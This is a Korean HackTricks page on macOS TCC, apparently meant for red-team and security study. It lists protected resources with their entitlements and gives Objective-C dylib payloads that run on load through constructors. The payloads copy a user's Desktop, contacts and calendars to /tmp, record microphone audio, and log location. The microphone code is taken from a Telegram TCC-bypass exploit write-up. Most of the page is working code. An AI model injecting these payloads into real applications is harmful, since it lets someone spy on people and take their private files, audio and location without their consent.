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HackTricks를 지원하는 다른 방법:

데스크탑

  • 권한: 없음

  • TCC: kTCCServiceSystemPolicyDesktopFolder

$HOME/Desktop을 /tmp/desktop로 복사합니다.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
NSString *tmpPhotosPath = @"/tmp/desktop";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

문서

  • 권한: 없음

  • TCC: kTCCServiceSystemPolicyDocumentsFolder

$HOME/Documents를 /tmp/documents로 복사합니다.

다운로드

  • 권한: 없음

  • TCC: kTCCServiceSystemPolicyDownloadsFolder

$HOME/Downloads를 /tmp/downloads로 복사합니다.

사진 라이브러리

  • Entitlement: com.apple.security.personal-information.photos-library

  • TCC: kTCCServicePhotos

$HOME/Pictures/Photos Library.photoslibrary를 /tmp/photos로 복사합니다.

연락처

  • Entitlement: com.apple.security.personal-information.addressbook

  • TCC: kTCCServiceAddressBook

$HOME/Library/Application Support/AddressBook을 /tmp/contacts로 복사합니다.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
NSString *tmpPhotosPath = @"/tmp/contacts";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

캘린더

  • 권한: com.apple.security.personal-information.calendars

  • TCC: kTCCServiceCalendar

$HOME/Library/Calendars를 /tmp/calendars로 복사합니다.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
NSString *tmpPhotosPath = @"/tmp/calendars";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

마이크

  • 권한: com.apple.security.device.audio-input

  • TCC: kTCCServiceMicrophone

5초 동안 오디오를 녹음하고 /tmp/recording.m4a에 저장합니다.

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib

@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation AudioRecorder

- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}

- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
NSError *error;
self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];

if (error) {
NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
return;
}

if ([self.captureSession canAddInput:self.audioDeviceInput]) {
[self.captureSession addInput:self.audioDeviceInput];
}

self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];

if ([self.captureSession canAddOutput:self.audioFileOutput]) {
[self.captureSession addOutput:self.audioFileOutput];
}
}

- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}

- (void)stopRecording {
[self.audioFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
NSLog(@"Saved to %@", outputFileURL.path);
}

@end

__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {

freopen("/tmp/logs.txt", "a", stderr);
AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];

[audioRecorder startRecording];
[NSThread sleepForTimeInterval:5.0];
[audioRecorder stopRecording];

[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
fclose(stderr); // Close the file stream
}

위치

앱이 위치 정보를 얻으려면, 위치 서비스(개인 정보 및 보안에서)가 활성화되어 있어야 합니다. 그렇지 않으면 앱은 위치 정보에 접근할 수 없습니다.

  • Entitlement: com.apple.security.personal-information.location

  • TCC: /var/db/locationd/clients.plist에서 허용됨

/tmp/logs.txt에 위치 정보를 기록하세요.

#include <syslog.h>
#include <stdio.h>
#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>

@interface LocationManagerDelegate : NSObject <CLLocationManagerDelegate>
@end

@implementation LocationManagerDelegate

- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
CLLocation *location = [locations lastObject];
NSLog(@"Current location: %@", location);
exit(0); // Exit the program after receiving the first location update
}

- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
NSLog(@"Error getting location: %@", error);
exit(1); // Exit the program on error
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSLog(@"Getting location");
CLLocationManager *locationManager = [[CLLocationManager alloc] init];
LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
locationManager.delegate = delegate;

[locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
[locationManager startUpdatingLocation];

NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
while (true) {
[runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

NSLog(@"Location completed successfully.");
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

접근성은 매우 강력한 권한입니다. 예를 들어, 시스템 이벤트를 호출할 필요 없이 접근성을 통해 키스트로크 공격을 수행할 수도 있습니다.

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

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